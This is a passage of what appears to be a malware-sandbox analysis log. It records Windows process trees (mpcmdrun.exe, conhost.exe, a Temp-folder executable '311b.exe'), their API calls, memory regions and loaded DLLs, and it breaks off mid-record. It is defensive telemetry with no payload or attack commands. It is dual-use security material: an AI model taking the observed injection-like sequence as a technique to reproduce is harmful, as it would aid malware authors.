[372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0289.389] ResumeThread (hThread=0x10c) returned 0x1 [0289.389] CloseHandle (hObject=0x10c) returned 1 [0289.389] CloseHandle (hObject=0x110) returned 1 [0289.390] ExitProcess (uExitCode=0x0) [0289.391] HeapFree (in: hHeap=0x4090000, dwFlags=0x0, lpMem=0x40905a8 | out: hHeap=0x4090000) returned 1 Thread: id = 163 os_tid = 0x10f8 Thread: id = 175 os_tid = 0xb30 Process: id = "7" image_name = "mpcmdrun.exe" filename = "c:\\program files\\windows defender\\mpcmdrun.exe" page_root = "0x46777000" os_pid = "0xcf0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x390" cmd_line = "\"C:\\Program Files\\Windows Defender\\mpcmdrun.exe\" -wdenable" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Audiosrv" [0xe], "NT SERVICE\\Dhcp" [0xe], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\icssvc" [0xa], "NT SERVICE\\lmhosts" [0xe], "NT SERVICE\\NgcCtnrSvc" [0xa], "NT SERVICE\\vmictimesync" [0xa], "NT SERVICE\\Wcmsvc" [0xe], "NT SERVICE\\wscsvc" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000c87e" [0xc000000f], "LOCAL" [0x7] Region: id = 3738 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3739 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3740 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3741 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 3742 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3743 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3744 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3745 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3746 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 3747 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 3748 start_va = 0x7ff675d70000 end_va = 0x7ff675dc9fff monitored = 0 entry_point = 0x7ff675d9d530 region_type = mapped_file name = "mpcmdrun.exe" filename = "\\Program Files\\Windows Defender\\MpCmdRun.exe" (normalized: "c:\\program files\\windows defender\\mpcmdrun.exe") Region: id = 3749 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3781 start_va = 0x400000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3782 start_va = 0x7ffa15160000 end_va = 0x7ffa1520cfff monitored = 0 entry_point = 0x7ffa151781a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3783 start_va = 0x7ffa13130000 end_va = 0x7ffa13317fff monitored = 0 entry_point = 0x7ffa1315ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3784 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3785 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 3786 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3885 start_va = 0x7ffa15090000 end_va = 0x7ffa15136fff monitored = 0 entry_point = 0x7ffa150a58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3886 start_va = 0x7ffa13cc0000 end_va = 0x7ffa13d5cfff monitored = 0 entry_point = 0x7ffa13cc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3887 start_va = 0x400000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3888 start_va = 0x480000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 3889 start_va = 0x7ffa14070000 end_va = 0x7ffa140cafff monitored = 0 entry_point = 0x7ffa140838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3890 start_va = 0x7ffa145c0000 end_va = 0x7ffa146dbfff monitored = 0 entry_point = 0x7ffa146002b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3891 start_va = 0x7ffa147c0000 end_va = 0x7ffa14880fff monitored = 0 entry_point = 0x7ffa147e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3892 start_va = 0x7ffa14340000 end_va = 0x7ffa145bcfff monitored = 0 entry_point = 0x7ffa14414970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3893 start_va = 0x7ffa13320000 end_va = 0x7ffa13389fff monitored = 0 entry_point = 0x7ffa13356d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3894 start_va = 0x7ffa13b70000 end_va = 0x7ffa13cb2fff monitored = 0 entry_point = 0x7ffa13b98210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3895 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3896 start_va = 0x7ffa13ee0000 end_va = 0x7ffa14065fff monitored = 0 entry_point = 0x7ffa13f2ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3897 start_va = 0x7ffa13d80000 end_va = 0x7ffa13ed5fff monitored = 0 entry_point = 0x7ffa13d8a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3898 start_va = 0x7ffa08a00000 end_va = 0x7ffa08a0bfff monitored = 0 entry_point = 0x7ffa08a035c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 3899 start_va = 0x7ff9ff210000 end_va = 0x7ff9ff2eefff monitored = 0 entry_point = 0x7ff9ff244ef0 region_type = mapped_file name = "mpclient.dll" filename = "\\Program Files\\Windows Defender\\MpClient.dll" (normalized: "c:\\program files\\windows defender\\mpclient.dll") Region: id = 3900 start_va = 0x7ffa12f40000 end_va = 0x7ffa13106fff monitored = 0 entry_point = 0x7ffa12f9db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3901 start_va = 0x7ffa12db0000 end_va = 0x7ffa12dbffff monitored = 0 entry_point = 0x7ffa12db56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 3902 start_va = 0x7ffa12a10000 end_va = 0x7ffa12a3cfff monitored = 0 entry_point = 0x7ffa12a29d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3903 start_va = 0x580000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 3904 start_va = 0x1c0000 end_va = 0x1c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3905 start_va = 0x580000 end_va = 0x707fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 3906 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 3907 start_va = 0x730000 end_va = 0x8b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 3908 start_va = 0x8c0000 end_va = 0x97ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 3909 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3910 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3911 start_va = 0x980000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 3912 start_va = 0x1f0000 end_va = 0x1f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmplics.dll" filename = "\\Program Files\\Windows Defender\\MsMpLics.dll" (normalized: "c:\\program files\\windows defender\\msmplics.dll") Region: id = 3914 start_va = 0x7ffa124f0000 end_va = 0x7ffa1250efff monitored = 0 entry_point = 0x7ffa124f5d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3915 start_va = 0x7ffa12d90000 end_va = 0x7ffa12da3fff monitored = 0 entry_point = 0x7ffa12d952e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3916 start_va = 0x7ffa11d90000 end_va = 0x7ffa11db3fff monitored = 0 entry_point = 0x7ffa11d93260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 3917 start_va = 0xa80000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Thread: id = 155 os_tid = 0xcec Thread: id = 161 os_tid = 0xd08 Thread: id = 162 os_tid = 0x9f8 Process: id = "8" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x45af4000" os_pid = "0xcf8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xcf0" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Audiosrv" [0xe], "NT SERVICE\\Dhcp" [0xe], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\icssvc" [0xa], "NT SERVICE\\lmhosts" [0xe], "NT SERVICE\\NgcCtnrSvc" [0xa], "NT SERVICE\\vmictimesync" [0xa], "NT SERVICE\\Wcmsvc" [0xe], "NT SERVICE\\wscsvc" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000c87e" [0xc000000f], "LOCAL" [0x7] Region: id = 3793 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3794 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3795 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3796 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3797 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3798 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 3799 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 3800 start_va = 0x7ff637930000 end_va = 0x7ff637940fff monitored = 0 entry_point = 0x7ff6379316b0 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 3801 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3815 start_va = 0x400000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3816 start_va = 0x7ffa15160000 end_va = 0x7ffa1520cfff monitored = 0 entry_point = 0x7ffa151781a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3817 start_va = 0x7ffa13130000 end_va = 0x7ffa13317fff monitored = 0 entry_point = 0x7ffa1315ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3818 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3819 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 3820 start_va = 0x90000 end_va = 0x14dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3821 start_va = 0x7ffa13cc0000 end_va = 0x7ffa13d5cfff monitored = 0 entry_point = 0x7ffa13cc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3822 start_va = 0x150000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 3823 start_va = 0x400000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3824 start_va = 0x560000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 3825 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3827 start_va = 0x7ffa0abf0000 end_va = 0x7ffa0ac48fff monitored = 0 entry_point = 0x7ffa0abffbf0 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 3833 start_va = 0x190000 end_va = 0x196fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 3834 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3835 start_va = 0x7ffa14340000 end_va = 0x7ffa145bcfff monitored = 0 entry_point = 0x7ffa14414970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3836 start_va = 0x7ffa145c0000 end_va = 0x7ffa146dbfff monitored = 0 entry_point = 0x7ffa146002b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3837 start_va = 0x7ffa13320000 end_va = 0x7ffa13389fff monitored = 0 entry_point = 0x7ffa13356d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3838 start_va = 0x7ffa13d80000 end_va = 0x7ffa13ed5fff monitored = 0 entry_point = 0x7ffa13d8a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3839 start_va = 0x7ffa13ee0000 end_va = 0x7ffa14065fff monitored = 0 entry_point = 0x7ffa13f2ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3840 start_va = 0x7ffa13b70000 end_va = 0x7ffa13cb2fff monitored = 0 entry_point = 0x7ffa13b98210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3841 start_va = 0x7ffa14070000 end_va = 0x7ffa140cafff monitored = 0 entry_point = 0x7ffa140838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3842 start_va = 0x7ffa141e0000 end_va = 0x7ffa1421afff monitored = 0 entry_point = 0x7ffa141e12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3843 start_va = 0x7ffa147c0000 end_va = 0x7ffa14880fff monitored = 0 entry_point = 0x7ffa147e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3844 start_va = 0x7ffa11220000 end_va = 0x7ffa113a5fff monitored = 0 entry_point = 0x7ffa1126d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 3845 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3846 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3847 start_va = 0x400000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 3848 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3849 start_va = 0x660000 end_va = 0x7e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 3850 start_va = 0x7f0000 end_va = 0x970fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 3851 start_va = 0x4e0000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 3853 start_va = 0x520000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 3854 start_va = 0x7ffa15210000 end_va = 0x7ffa1676efff monitored = 0 entry_point = 0x7ffa153711f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 3855 start_va = 0x7ffa13390000 end_va = 0x7ffa133d2fff monitored = 0 entry_point = 0x7ffa133a4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3856 start_va = 0x7ffa13520000 end_va = 0x7ffa13b63fff monitored = 0 entry_point = 0x7ffa136e64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 3857 start_va = 0x7ffa15090000 end_va = 0x7ffa15136fff monitored = 0 entry_point = 0x7ffa150a58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3858 start_va = 0x7ffa14ba0000 end_va = 0x7ffa14bf1fff monitored = 0 entry_point = 0x7ffa14baf530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3859 start_va = 0x7ffa12e10000 end_va = 0x7ffa12e1efff monitored = 0 entry_point = 0x7ffa12e13210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3860 start_va = 0x7ffa12e80000 end_va = 0x7ffa12f34fff monitored = 0 entry_point = 0x7ffa12ec22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 3861 start_va = 0x7ffa12dc0000 end_va = 0x7ffa12e0afff monitored = 0 entry_point = 0x7ffa12dc35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3863 start_va = 0x7ffa12d90000 end_va = 0x7ffa12da3fff monitored = 0 entry_point = 0x7ffa12d952e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3864 start_va = 0x980000 end_va = 0xb94fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 3865 start_va = 0xba0000 end_va = 0xdb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 3871 start_va = 0xdc0000 end_va = 0xed5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 3872 start_va = 0xee0000 end_va = 0x10fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ee0000" filename = "" Region: id = 3873 start_va = 0x1100000 end_va = 0x1212fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 3875 start_va = 0x1220000 end_va = 0x125ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001220000" filename = "" Region: id = 3876 start_va = 0x7ffa11410000 end_va = 0x7ffa11422fff monitored = 0 entry_point = 0x7ffa11412760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 3877 start_va = 0x7ffa12ba0000 end_va = 0x7ffa12bf5fff monitored = 0 entry_point = 0x7ffa12bb0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 3878 start_va = 0x50000 end_va = 0x54fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 3884 start_va = 0x60000 end_va = 0x60fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "conhostv2.dll.mui" filename = "\\Windows\\System32\\en-US\\ConhostV2.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv2.dll.mui") Thread: id = 157 os_tid = 0xd00 Thread: id = 158 os_tid = 0xcfc Thread: id = 159 os_tid = 0xd04 Thread: id = 160 os_tid = 0x8b8 Process: id = "9" image_name = "311b.exe" filename = "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\311b.exe" page_root = "0x27a3d000" os_pid = "0xb8c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7b4" cmd_line = "C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\311B.exe" cur_dir = "C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fa87" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4985 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4986 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4987 start_va = 0x40000 end_va = 